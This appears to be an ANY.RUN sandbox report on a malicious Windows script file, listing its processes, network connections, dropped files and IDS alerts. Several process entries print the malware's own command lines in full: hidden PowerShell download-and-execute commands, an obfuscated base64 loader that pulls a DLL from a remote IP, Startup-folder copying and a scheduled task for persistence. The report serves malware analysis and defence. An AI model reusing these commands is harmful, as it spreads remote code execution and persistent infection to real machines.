File name:

USP745896.wsf

Full analysis: https://app.any.run/tasks/f17a1e54-0d31-46b1-87bc-b8b834bb5db6
Verdict: Malicious activity
Analysis date: December 05, 2022, 19:26:44
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: text/plain
File info: UTF-8 Unicode text, with very long lines, with CRLF line terminators
MD5:

6A07F92BE88423EEB9E28632B8729DC3

SHA1:

C91A5794282EB0C821007FA189227FBE11334899

SHA256:

8A8C3FC54739248F595EF1941A8A47936FF45FD102D7E8D23E9D4C358D5A0D24

SSDEEP:

192:LBBBBBBBBBBBsBBBBBsBBBBBsBBBBBsBBBBBsBBBBBsBBBBBsBBBBBsBBBBBsBBm:D

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Loads the Task Scheduler COM API

      • schtasks.exe (PID: 2140)
      • schtasks.exe (PID: 3748)

    • Uses Task Scheduler to run other applications

      • cmd.exe (PID: 2260)
      • cmd.exe (PID: 2324)

  • SUSPICIOUS

    • Reads settings of System Certificates

      • powershell.exe (PID: 2700)
      • powershell.exe (PID: 2484)
      • powershell.exe (PID: 3588)

    • Executes PowerShell scripts

      • WScript.exe (PID: 2524)
      • WScript.exe (PID: 3068)
      • powershell.exe (PID: 2380)
      • powershell.exe (PID: 2992)
      • wscript.exe (PID: 3416)

    • Application launched itself

      • powershell.exe (PID: 2380)
      • powershell.exe (PID: 2992)

    • Executes scripts

      • explorer.exe (PID: 2456)

    • Starts CMD.EXE for commands execution

      • powershell.exe (PID: 2484)
      • powershell.exe (PID: 3588)

    • Executes via Task Scheduler

      • wscript.exe (PID: 3416)

    • Connects to the server without a host name

      • powershell.exe (PID: 3588)

  • INFO

    • Creates a file in a temporary directory

      • powershell.exe (PID: 2380)
      • powershell.exe (PID: 2700)
      • powershell.exe (PID: 2484)
      • powershell.exe (PID: 2992)
      • powershell.exe (PID: 3588)

    • Reads security settings of Internet Explorer

      • powershell.exe (PID: 2380)
      • powershell.exe (PID: 2484)
      • powershell.exe (PID: 2700)
      • powershell.exe (PID: 3588)
      • powershell.exe (PID: 2992)

    • Reads the computer name

      • RegAsm.exe (PID: 284)
      • RegAsm.exe (PID: 2880)

    • Checks supported languages

      • RegAsm.exe (PID: 284)
      • RegAsm.exe (PID: 2880)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
53
Monitored processes
16
Malicious processes
8
Suspicious processes
0

Behavior graph

Click at the process to see the details
start wscript.exe no specs powershell.exe explorer.exe no specs explorer.exe no specs wscript.exe no specs powershell.exe no specs powershell.exe cmd.exe no specs schtasks.exe no specs regasm.exe wscript.exe no specs powershell.exe no specs powershell.exe cmd.exe no specs schtasks.exe no specs regasm.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
3068"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\USP745896.wsf"C:\Windows\System32\WScript.exe—Explorer.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2700"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden wget 'https://priceless-maxwell.68-64-160-26.plesk.page/gmvnn.vbs' -o C:\Windows\Temp\PNeYSLdASY.vbs;explorer.exe C:\Windows\Temp\PNeYSLdASY.vbs;Start-Sleep 3;[System.IO.File]::Copy('EAAAU4nCAAA.wsf','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EAAAU4nCAAA.wsf');Start-Sleep 1;rm *.vbs,*.wsfC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
484"C:\Windows\explorer.exe" C:\Windows\Temp\PNeYSLdASY.vbsC:\Windows\explorer.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\explorer.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
2456C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -EmbeddingC:\Windows\explorer.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\explorer.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
2524"C:\Windows\System32\WScript.exe" "C:\Windows\Temp\PNeYSLdASY.vbs" C:\Windows\System32\WScript.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2380"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwBXAEwAYgBTAHYAJwA7AFsAQgB5AHQAZQBbAF0AXQAgACQARABMAEwAIAA9ACAAWwBzAHkAcwB0AG⌚⌚⌚AbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwA1AC4ANAAyAC4AMQA5ADkALgAyADMANQAvAGQAbABsAC8AZABsAGwAMgAuAHQAeAB0ACcAKQApADsAWwBzAHkAcwB0AG⌚⌚⌚AbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABEAEwATAApAC4ARwBlAHQAVAB5AHAAZQAoACcATgB3AGcAbwB4AE0ALgBLAFAASgBhAE4AagAnACkALgBHAG⌚⌚⌚AdABNAG⌚⌚⌚AdABoAG8AZAAoACcA⌚⌚⌚ABVAGwARwBLAEEAJwApAC4ASQBuAHYAbwBrAG⌚⌚⌚AKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACcAdAB4AHQALgB2AHYAdQBzAHMALwBlAGcAYQBwAC4AawBzAG⌚⌚⌚AbABwAC4ANgAyAC0AMAA2ADEALQA0ADYALQA4ADYALgBsAGwAZQB3AHgAYQBtAC0AcwBzAG⌚⌚⌚AbABlAGMAaQByAHAALwAvADoAcwBwAHQAdABoACcAIAAsACAAJABSAG8AZABhAEMAbwBwAHkAIAAsACAAJwBSAG8AZABhACcALAAgACcAMgAnACwAIAAnADEAJwAsACAAJwBBAGgAZgBLAEEAQQBBAEsAOQAyAHQATwBlAGcAJwAgACkAKQA=';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('WLbSv', 'C:\Windows\Temp\PNeYSLdASY.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxDC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2484"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = 'C:\Windows\Temp\PNeYSLdASY.vbs';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://5.42.199.235/dll/dll2.txt'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.vvuss/egap.kselp.62-061-46-86.llewxam-sselecirp//:sptth' , $RodaCopy , 'Roda', '2', '1', 'AhfKAAAK92tOeg' ))"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2260cmd.exe /c schtasks.exe /create /tn "AhfKAAAK92tOeg" /tr "wscript.exe //b //nologo 'C:\Windows\Temp\PNeYSLdASY.vbs'" /sc minute /mo 1 /f & exitC:\Windows\system32\cmd.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2140schtasks.exe /create /tn "AhfKAAAK92tOeg" /tr "wscript.exe //b //nologo 'C:\Windows\Temp\PNeYSLdASY.vbs'" /sc minute /mo 1 /f C:\Windows\system32\schtasks.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
284"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Assembly Registration Utility
Version:
4.0.30319.34209 built by: FX452RTMGDR
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\regasm.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\apppatch\acgenral.dll
c:\windows\system32\sechost.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
Total events
14 051
Read events
13 958
Write events
93
Delete events
0

Modification events

(PID) Process:(3068) WScript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(3068) WScript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(3068) WScript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(3068) WScript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(2700) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(2700) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(2700) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(2700) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
(PID) Process:(2700) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
(PID) Process:(2700) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileDirectory
Value:
%windir%\tracing
Executable files
0
Suspicious files
13
Text files
1
Unknown types
2

Dropped files

PID
Process
Filename
Type
2700powershell.exeC:\Users\admin\AppData\Local\Temp\uwec3zo3.ooz.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
2700powershell.exeC:\Windows\Temp\PNeYSLdASY.vbstext
MD5:3514145272BF8DA045D99A519CCF9053
SHA256:B061660BD6FE00279C8D90040A4306388CCFE9284684DC285E1A7BF91B531DAC
2484powershell.exeC:\Users\admin\AppData\Local\Temp\2otaoabb.w2b.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
2484powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivedbf
MD5:446DD1CF97EABA21CF14D03AEBC79F27
SHA256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
2380powershell.exeC:\Users\admin\AppData\Local\Temp\rw2a32et.3r1.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
2700powershell.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506compressed
MD5:FC4666CBCA561E864E7FDF883A9E6661
SHA256:10F3DEB6C452D749A7451B5D065F4C0449737E5EE8A44F4D15844B503141E65B
2700powershell.exeC:\Users\admin\AppData\Local\Temp\4mvkh5vr.jt0.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
2484powershell.exeC:\Users\admin\AppData\Local\Temp\4qhsgyvm.2wk.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
2380powershell.exeC:\Users\admin\AppData\Local\Temp\3dqpla5j.j0o.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
2700powershell.exeC:\Users\admin\AppData\Local\Temp\Cab9E73.tmpcompressed
MD5:FC4666CBCA561E864E7FDF883A9E6661
SHA256:10F3DEB6C452D749A7451B5D065F4C0449737E5EE8A44F4D15844B503141E65B
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
7
DNS requests
4
Threats
16

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2700
powershell.exe
GET
200
93.184.221.240:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?94a5123c1e07915c
US
compressed
61.4 Kb
whitelisted
2484
powershell.exe
GET
200
5.42.199.235:80
http://5.42.199.235/dll/dll2.txt
RU
text
13.3 Kb
suspicious
2484
powershell.exe
GET
200
5.42.199.235:80
http://5.42.199.235/pe/Pe.txt
RU
text
51.8 Kb
suspicious
3588
powershell.exe
GET
200
5.42.199.235:80
http://5.42.199.235/dll/dll2.txt
RU
text
13.3 Kb
suspicious
3588
powershell.exe
GET
200
5.42.199.235:80
http://5.42.199.235/pe/Pe.txt
RU
text
51.8 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2484
powershell.exe
5.42.199.235:80
—
IT Resheniya LLC
RU
suspicious
2700
powershell.exe
68.64.160.26:443
priceless-maxwell.68-64-160-26.plesk.page
NETRANGE
US
unknown
2484
powershell.exe
68.64.160.26:443
priceless-maxwell.68-64-160-26.plesk.page
NETRANGE
US
unknown
2700
powershell.exe
93.184.221.240:80
ctldl.windowsupdate.com
EDGECAST
GB
whitelisted
3588
powershell.exe
5.42.199.235:80
—
IT Resheniya LLC
RU
suspicious
3588
powershell.exe
68.64.160.26:443
priceless-maxwell.68-64-160-26.plesk.page
NETRANGE
US
unknown
284
RegAsm.exe
194.213.3.170:7000
winhost.con-ip.com
Daniel Jackson
GB
unknown

DNS requests

Domain
IP
Reputation
priceless-maxwell.68-64-160-26.plesk.page
  • 68.64.160.26
unknown
ctldl.windowsupdate.com
  • 93.184.221.240
whitelisted
winhost.con-ip.com
  • 194.213.3.170
unknown

Threats

PID
Process
Class
Message
2484
powershell.exe
Potentially Bad Traffic
ET INFO Terse Request for .txt - Likely Hostile
2484
powershell.exe
Misc activity
ET POLICY EXE Base64 Encoded potential malware
2484
powershell.exe
Potentially Bad Traffic
ET INFO Terse Request for .txt - Likely Hostile
—
—
Potentially Bad Traffic
ET INFO DNS Redirection Service Domain in DNS Lookup (con-ip .com)
—
—
Potentially Bad Traffic
ET INFO DNS Redirection Service Domain in DNS Lookup (con-ip .com)
3588
powershell.exe
Potentially Bad Traffic
ET INFO Terse Request for .txt - Likely Hostile
3588
powershell.exe
Misc activity
ET POLICY EXE Base64 Encoded potential malware
3588
powershell.exe
Potentially Bad Traffic
ET INFO Terse Request for .txt - Likely Hostile
8 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2023 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
USP745896.wsf